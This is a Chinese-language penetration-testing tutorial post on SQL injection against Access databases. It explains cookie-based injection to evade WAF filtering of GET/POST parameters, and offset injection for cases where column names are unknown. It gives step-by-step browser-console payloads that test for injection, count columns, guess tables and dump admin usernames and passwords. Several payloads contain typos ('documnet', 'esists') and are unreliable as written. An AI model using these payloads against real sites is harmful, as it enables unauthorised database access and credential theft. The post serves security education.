• 网络安全从入门到精通 (第五章-1 )Access注入 — Cookie注入&偏移注入


    本文内容:

    • Cookie注入简介
    • Cookie注入的核心
    • 怎么修改Cookie
    • Access数据库注入介绍
    • Cookie注入具体流程
    • 偏移注入使用场景
    • 偏移注入具体流程

    前言:数据库有很多:

      Mysql、Access、Mssql、Oracle

      不同的数据库,虽然语句蕾西,但是在渗透测试的时候是不同的。

    1,Cookie注入简介:

      cookie:就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获得了管理员的Cookie,你可以无需密码直接登录管理。

      访问网站,协议是:HTTP协议,HTTP协议它是无状态的。

      无状态:就是它不知道是谁访问,所以就设置了Cookie,Cookie就相当于身份证,通过一串字符串代替。

      Cookie它并不安全,没有绝对的安全,用户的体验性和安全是需要平衡的。

    2,Cookie注入的核心:

      在很多时候开发人员在开发的时候为了考虑到多种接收传参,在接收传参的时候,都是用很多种方式接收。

      例如:

        PHP中的$_REQUSE[]可以获取POST|GET|COOKIE传参。

        如果说开发用了$_REQUSE来接收参数。

        然后POST和GET传参被waf拦截了,我们就可以尝试Cookie传参,有可能waf没有对Cookie传参进行处理,,那样我们不就可以绕过。

        $_REQUSE php版本低于5.4会接收Xookie传参,所以注入时,也可以先查询一下数据库版本。

    3,怎么修改Cooke:

      方法一:

        使用burpsuite抓取数据包,添加一个Cookie字段在请求头里。

        注意:Cookie传参值需要URL编码。

      方法二:

        用js来设置Cookie

        按F12调出浏览器开发者工具,选择Console,打开浏览器的控制台,输入设置js的语句就可以了。

        比如:documnet.cookie="id="+escape("xx")

        escape:是一个编码函数,这个函数会进行一次URL编码。

      方法三:

        F12——Application——Cookies,直接双击修改。

    4,Access数据库注入

      Access数据库在判断回显点的时候,必须接一个表名,没有别的库,只有一个库名,不用考虑库名。

      不知道表名:只能靠猜,不过有几个常用的表,比如admin、user、news、job。

      Access数据库,没有系统自带表,想要获取表名和字段名,方法只有靠爆破。

      账号和密码一般在盛行Access数据库的年代,都在admin表的username和password字段中。

      esists:这个函数就是用来检查表名是否存在,原理就是去检查子查询能否查询到数据,如果能,则返回True。

    5,Cookie注入的流程:

      例如:

        获取admin表的账号和密码,账号和密码的字段名分别是username、password,输出点是2,3。

      1.判断是否存在注入:

        在URL栏中直接输入and 1=1 和and 1=2

        如果被拦截了,我们就需要测试一下Cookie是否被拦截:

        在浏览器控制台:输入js语句:

          document.cookie="id="+escape("xx and 1=1")

          document.cookie="id="+escape("xx and 1=2")

      2.判断当前页面字段数:
        document.cookie="id="+escape("xx order by 1")

      3.判断想要获取数据的表名:

        document.cookie="id="+escape("xx and (exists(select * from admin))")

      4.查看输出点:

        document.cookie="id="+escape("xx select 1,2,3 from admin")

      5.判断字段名并输入账号和密码:

        document.cookie="id="+escape("xx select 1,username,password from admin")

    6,偏移注入使用场景:

      在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够,又猜不到表名、字段名的情况下,我们可以使用偏移注入

      像SQLMAP之类的工具实际上就是爆破字段的名字,但是如果字段名称比较奇葩,工具也就无可奈何了。

      无法查询表名:强行爆破

      无法查询字段名:偏移注入:纵然不知道表名,但是还是可以获取数据的。

      用法:

        admin.*就是admin表里所有的字段。

        select * from admin

        select admin.* from admin

        这两句是一样的。

    7,偏移注入的步骤(以Access为例):

      1.判断注入点:

        当在url中输入and 1=1和and1=2时,出现错误提示,说明Get传参被处理了,我们就需要看看Cookie传参是否没有被处理。

        使用js代码在控制台判断。

          document.cookie="id="+escape("xx and 1=1")

          document.cookie="id="+escape("xx and 1=2")

      2.order by 判断字段数:
        documnet.cookie="id="+escape("xx order by 1")

      3.判断表名:

        documnet.cookie="id="+escape("xx and (esists(select * from admin))")

      4.联合查询(判断输出点):

        注意:
          字段数相同

          注入点的表的字段一定要大于查询的表。

          top x取x条数据,一定要降序,才能达到limit的效果。

        documnet. cookie="id="+escape("xx union select 1,2,3...... from admin")

      5.获取表中列数(知道存在几列以及输出点):
        document.cookie="id="+escape("xx union select 1,2,3......from admin")

      6.开始偏移注入:

        documnet.cookie="id="+escape("xx union select 1,2,admin.*, from admin")

      注意:有的输出点可能在网上让一些东西所遮挡住了,所以我们要查看一下网页代码。

    与君共勉:  

      在光芒万丈之前,

      我们都要欣然接受眼下的难堪和不易,

      接受一个人的孤独和偶尔的无助,

      认真做好眼前的每件事,

      你想要的都会有。

  • 相关阅读:
    android学习-仿Wifi模块实现
    爬虫4:cookie登陆并爬取学习成绩
    爬虫3:表单登陆
    爬虫2:爬取百度贴吧的帖子
    爬虫1:爬虫爬取糗事百科
    js中的typeof 操作符
    基于 Token 的身份验证方法
    Jfinal 列表分页
    百度地图逆地址解析
    Jfinal 项目搭建
  • 原文地址:https://www.cnblogs.com/xz25/p/12634422.html
Copyright © 2020-2023  润新知